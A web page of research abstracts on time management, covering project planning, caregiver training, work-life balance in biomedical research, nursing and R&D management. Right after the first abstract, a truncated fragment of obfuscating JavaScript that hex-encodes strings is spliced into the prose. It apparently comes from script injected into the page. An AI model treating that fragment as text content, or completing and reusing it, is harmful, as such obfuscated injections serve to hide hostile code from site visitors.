Time Management Method Research Articles

Creation of time management methods in the planning of execution for company development programs

In this article the problem of time management in the planning of execution for development programs is considered. The aim of research was to develop a time management methods of the program projects in the planning of execution. As a result, it is developed an approach to the time management based on the network modeling for program with technologically dependence of the projects. Scope and specificity of the program defines a project or a job as a structural unit of the network model. For models with detailing at the level of the work it is suggested an approach to the formation and evaluation of synergies. For programs without depending on technology of the projects it is developed economic and mathematical model that allows creating a schedule of projects to meet the requirements for financial performance, taking into account the balance of the program costs by period. The results of this research complete the theoretical basis and methodological support to the integration control for program management. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o

Resourcefulness Training for Women Dementia Caregivers: Acceptability and Feasibility of Two Methods

Almost 10 million women in the United States are caregivers for elders with dementia and many experience extreme stress that compromises their health. Acceptable and feasible interventions to teach them resourcefulness skills for managing stress may improve their health and facilitate continued caregiving. This study examined two commonly used methods for practicing skills taught during resourcefulness training (RT) to women caregivers of elders with dementia (n=63): journaling and digital voice recording. It also explored whether providing caregivers a choice between the two methods made it more acceptable or feasible. Qualitative and quantitative data were collected before, during, and after RT. Caregivers who recorded used more words (M=5446) but recorded fewer days (M=17) than those who journaled (M=2792 words and M=27 days). Similar concerns in relation to time management and practice method were expressed by women caregivers irrespective of practice method (journal versus recorder) or random versus choice condition. While journaling was more frequent than recording, more words were expressed during recordings. Perceived stress and depressive symptoms were unrelated to the number of practice days or word counts, suggesting RT acceptability and feasibility even for highly stressed or depressed caregivers. Because intervention feasibility is important for RT effectiveness testing, alternatives to the journaling and recording methods for practicing RT skills should be considered.

Work-Life Balance: Can You Actually Make That Happen?

Let me start off by saying – there is no such thing as “work–life balance” in a biomedical research career. In today’s modern society, the world is evolving at an unprecedented fast pace. The speed of progress in the biomedical research field is astonishing. The publications indexed by PubMed was ~9,000 during 2000 and increased to ~60,000 during 2013 (1). Unfortunately, the growth of federal and private funding for biomedical research is much slower. In fact, it is estimated that the resources that National Health Institutes retains today are less than 75% than they were in 2003 (2). The ever-increasing competition for funding makes work–life balance almost impossible. From a personal perspective, I have not yet encountered a successful scientist with a laid-back lifestyle throughout my research career from 2004 (when I became a graduate student) to present day. In fact, in my experience, most successful scientists struggle with busy schedules and lack of work–life balance. My Ph.D. mentor – Dr. Stephania Cormier – who is a tenured, full professor now, started her career as an assistant professor in 2002. She is highly intelligent and disciplined to a level that intimidates people; however, she still constantly works during weekends and holidays to clear off her work lists. When I was a student or postdoctoral trainee, I dedicated my life to research. Some of my experiments were inherently time-consuming, so I had to stay up till 03:00 a.m. the next day although I started at 07:00 a.m. At times that I returned home at regular hours, I read papers, books or tutorials related to my research. I did not have a life outside of my research, and at that time I did not feel that I needed one. Research was fun and the excitement from a successful experiment, publication, or presentation for a national meeting was satisfying… until my son Arthur was born 3 years ago. He is demanding and exhausting, but also amazingly adorable. Naturally, as a mother I want to spend time with him, and do not want to miss a single step that he makes as he grows up. This change in my life inevitably affected my dedication to my career. All the extra hours that I used to commit to research are gone; I suddenly need a life away from the bench. The only option I have is to achieve a work–life balance, even if it seems a “mission impossible.” This may sound depressing, but realizing the truth is the first step to fix the problem. The problem is time! My workload has remained relatively the same, but now the time I have to complete tasks is about two-thirds of the time I had before having my son. This means that I must increase my efficiency at work one-and-a-half fold. To most scientists, including myself, who are already highly efficient, it is difficult to further increase efficiency. With this in mind, I have researched effective time management methods and practiced a few principles (3, 4). Here are some tips that have really helped me.

Crux of time management for students

At the beginning of each academic session, I typically devote a class or two to share my tips on time management and personal productivity with newly admitted students at the Central University of Punjab. I believe this is a crucial first step for students, as the curriculum hardly contains any information on either. I also notice that an article on this important theme is altogether non-existent. In this write-up, some of the most important methods of time management and personal productivity are thoroughly reviewed before concluding with a few pedagogical suggestions for teachers to ensure that their students manage time efficiently and be more productive with their studies and research.

R&D projects in the science sector

The purpose of this research was to determine and analyse diversity in various features of R&D projects implemented in the science sector in Poland, financed mostly from public funds. More exactly, the following aspects of R&D projects implemented in the science sector in Poland were examined: the relation between the actually achieved and the initially set goal, the project management methodologies and project time management methods used, features of the project team, the relation between the plan and the actual project realisation and management difficulties encountered in practice. These aspects and their diversity were examined in the context of the whole country, of various fields of science and various research units implementing pure research (the ‘R’ area) or applied research and experimental development (the ‘D’ area). The research was conducted by means of survey methodology covering a sample of participants of R&D projects in the science sector in Poland. The results were analysed by means of statistical methods (which constitutes a clear novelty with respect to the existing literature on R&D projects) and statistically significant phenomena gave rise to several important conclusions on how R&D projects implemented in the science sector are managed and what their realisation looks like in various fields of science and various institutions, in a relatively new EU members state and a former communist country like Poland. These conclusions may be the basis for important hypotheses (which require further research) on the project management quality in the science sector in Poland and in similar countries, which is closely linked to the problem of public money allocation, its efficient spending and control. Also, practical suggestions on improvement measures in the science sector with respect to R&D projects, limited not only to countries like Poland, but of a more general nature, are formulated.

A Proposed model for time management of the Egyptian handball federation branches activities in Egypt

The researchers conducted the scientific coefficients of two questionnaire forms on sample consists of (20 person) of the research sample and outside the sample. The agreement coefficient between each sentence and its total dimension was used to calculate the two forms credibility. The calculated R value of time management ranged between (0.51, 0.95) which is bigger than its tubular value at level (0.05), which confirms the sentences credibility. The calculated R value of best scientific methods of time management ranged between (0.72, 0.99) which is bigger than its tubular value at (0.05) which shows the sentences credibility, Then the researcher used Test – Re – Test method to find the two forms stability. It showed also that there is statically significant correlation between first and second applications for questionnaire sentences of time management where the calculated R value ranged between (0.96: 0.99) which is bigger than its tubular value at level (0.05) which the questionnaire stability. Also there is statically significant correlation between first and second applications for questionnaire sentences of best scientific methods of time management where the calculated R value ranged between (0.86 : 0.97) which is bigger than its tubular value at level (0.05) which signify the questionnaire stability. Then put the two last questionnaire forms, attachment (6,7), and tri-estimate scale of questionnaire sentences have been put, (5), a little agree (3) , and disagree (1).

ОЦЕНКА ЖИЗНЕСПОСОБНОСТИ ИНФРАСТРУКТУРНОГО ПРОЕКТА ПО ФАЗАМ ЕГО ЖИЗНЕННОГО ЦИКЛА

В статье уделяется внимание подготовке проектов в рамках государственно-частного партнерства, сопряженной с разрешением ряда вопросов на основе вспомогательных видов деятельности. Особое внимание уделено построению бизнес-модели ТИП с учетом его суботраслевой специфики. Рассмотрены отдельные виды работ, составляющие сетевую модель проекта, их взаимосвязь и методы управления и оптимизации по времени и ресурсам. При этом автор приходит к выводу, что все аспекты организации ГЧП нуждаются в подробной разработке с целью создания инфраструктурного проекта. Подробно исследуется структура работ на каждом этапе проектирования, возможные сценарии развития событий в ходе их выполнения и участники, учитываются рисковые составляющие и уточняются итоговые результаты каждого этапа. Утверждается, что объединение финансовой и правовой моделей требует разработки модели экономической жизнеспособности проекта, в которой учитываются рисковые составляющие проекта, распределение ответственности между участниками проекта, платежные механизмы, а также то, что модель финансовой жизнеспособности ТИП является важнейшим показателем в процессе отбора ТИП для его последующей реализации. Выявлено, что финансовая жизнеспособность и финансовая приемлемость находятся в сложной взаимосвязи. На основе программного обеспечения по проектному планированию с созданием графического представления во времени, а также методологией функционального моделирования автором даются рекомендации по управлению проектом, проведению мониторинга и контроля реализации процесса планирования и задач на уровне управляющей компании. Проработанные установленные организационно-экономические механизмы управления инфраструктурным проектом способствуют увеличению степени участия частного сектора в инфраструктурных проектах. Отмечается, что важным этапом на стадии планирования является подготовка драфт-проекта ГЧП-контракта, выделены перспективные направления в части разработки проектов.

Организация бережливого производства на предприятии

This paper presents a procedure to systematize production losses in the production of machinery, in such steps as: acceptance of raw materials, transportation and storage of materials, distribution of materials, transformation of materials into finished products. For each type of loss proposed activities, taking into account the specifics of production and losses themselves. Thus, the most effective, according to the authors, these losses were as placement of equipment in the form of a U-shaped cells, improve production logistics, creating a system of self-control, training 5S, the use of SMED, use methods of time management.

Research on Time Management for Project Cluster Development

Project Cluster development usually reflects a large scale construction, the mutual connections of the project working programs, complex constitutions. This paper tries to analyses the difficulties of project clusters progress control and study some processes and methods of project cluster time management, through a series of measures of making the progress plan, schedule monitoring, adjustment and coordination in order to guarantee the project progress goals realization and internal resources coordination and ensure time management operates smoothly of a company.Keywords: Project Cluster; Method Study; Schedule Control; Resource Optimization; Time Management

The Influence of Learning Beliefs in Peer-advising Sessions: Promoting Independent Language Learning

This qualitative study was conducted in order to explore interaction between advisors and advisees in peer-advising sessions conducted with a view of promoting independent language study. The data was collected through observation, documentation, and interviews with a newly-trained and relatively inexperienced student peer-advisor. The data was transcribed and coded for closer analysis. The study revealed that the advice which the student advisor gave to peers was very much influenced by her own language study experience and beliefs, especially with regard to grammar-focused study and time-management methods. Moreover, the data offered a number of interesting observations, such as a feeling of relatedness between peers, and a conflict between being strict and being generous. In this article, the author will discuss the areas in which the student advisor’s own beliefs were most reflected in her advising. Other observations from the data will also be highlighted.

The application of ABC time management method on primary nurses

Objective To explore the application of ABC time management in clinical nursing in order to improve working efficiency and ensure nursing quality.Methods The indicators including working time of primary nurses, patients' satisfaction and standard of nursing records were compared between before and after using time management.Results There was a significant decrease in the treating time and documentation recording time when using time management method while in the time of basic nursing care and observation there was a significant increase.In addition, the patients' satisfaction significantly increased.Conclusions Time management method can promote the working efficiency and quality. Key words: Time management; Primary nurse; Nursing

Real Time Monitoring and Management Method for Electrical Safety of Customer Electrical Installations Connected to Smart Grids

In order to achieve purpose of Smart Grids, which is effective use of electrical energy, the safety of electrical installations must be secured. This paper presented real time monitoring and management method for electrical safety of customer electrical installations connected to Smart Grids. And the direction of electrical safety system for the introduction of real time monitoring and management method was suggested. Efficiency improvement of electrical safety management and new supplementary services related with Smart Girds will be available by introducing the presented method.

Real time processing and management method for cancelling out the echo between a loudspeaker and a microphone of a computer terminal

The invention relates to a real time processing and management method for canceling out the echo between a loudspeaker (HP) and a microphone (M) of a computer terminal. Said method consists of establishing the loudspeaker signal or the microphone signal as a reference signal and synchronizing (A) the other signal with said reference signal, and (B) synchronizing the acquisition and audio reestablishment tasks. The delay that exists (rej) between the other signal and the reference signal is measured (C) and the existing delay value (rej) is validated (D) in order to control the delay applied to the reference signal starting from the current delay (rej). The invention can be used for computer terminals which are equipped with multi-tasks operating systems.

Senario Masalah Pelajar Universiti Utara Malaysia

Students of higher learning institutions inevitably face many problems during their studies. The problems faced are academic stress, time management, adjustment, teaching method, student-lecturer communication, learning environment and heavy workload. Students’ self-esteem and parenting styles also contributed towards such problems. The aims of this study were to identify the contributing factors based on several demographic components, to examine the relations among the factors and to propose some suggestions to help students deal with the problems. A cross-sectional survey was employed and data were collected using questionnaire. A total of 1923 respondents were chosen to participate in the study through stratified-random sampling. Results indicated that adjustment was the most dominant factor among male and female students. Among the most dominant factors based on ethnicity were adjustment, self-esteem, time management, student-lecturer communication and teaching method. There were relationships between academic stress and other factors such as time management, students’ workload, parenting styles, and self-esteem. In addition, adjustment was found to have relationships with time management, self-esteem, learning environment, parenting styles, teaching method, studentlecturer communication and workload. Results also showed female students having a higher level of academic stress compared to their male counterparts. Malay students also had a higher level of academic stress than other ethnic groups. In term of academic discipline, there were significant differences in four factors which were academic stress, workload, learning environment, and parenting styles.

DEVS/HLA-Based Modeling and Simulation for Intelligent Transportation Systems

This article focuses on the study of the modeling and simulation of an intelligent transportation system that uses discrete event system specification (DEVS)/high-level architecture (HLA), which is the methodology of hierarchical modular modeling and distributed simulation. The authors performed distributed homogeneous traffic simulation by extending an existing developed DEVS-based I3D2 transportation simulation system to an HLA-based distributed simulation environment. First, the suggested methodology gives an object-oriented and hierarchical modular modeling and simulation environment of traffic models that have complicated, dynamic features of the real world. Second, it provides easiness and extendibility of a distributed traffic simulation system design/development. Third, it offers the whole simulation time management method between distributed simulation objects through the HLA distribution standardization technique. Finally, it can offer an effective and hierarchical simulation analysis environment of a large-scale road network.

Being Brave in the Brave New World

As civil engineering enters the 21st century, there are four issues engineers need to confront in order to improve the profession. These are time, teams, technology and stewardship. In the future, diminishing project completion times will require engineers to develop new methods of time management without sacrificing project quality. In terms of teamwork, project managers will increasingly need to be broad-scale leaders, with the ability to manage people as well as the technical aspects of a project. Engineers should also evaluate technical issues, focusing on the ethical implications of doing what is only technically correct instead of looking at the overall project. Finally, civil engineers should explore the profession's ethical responsibilities, questioning what role civil engineers should play in terms of stewardship in the social, global and political arenas.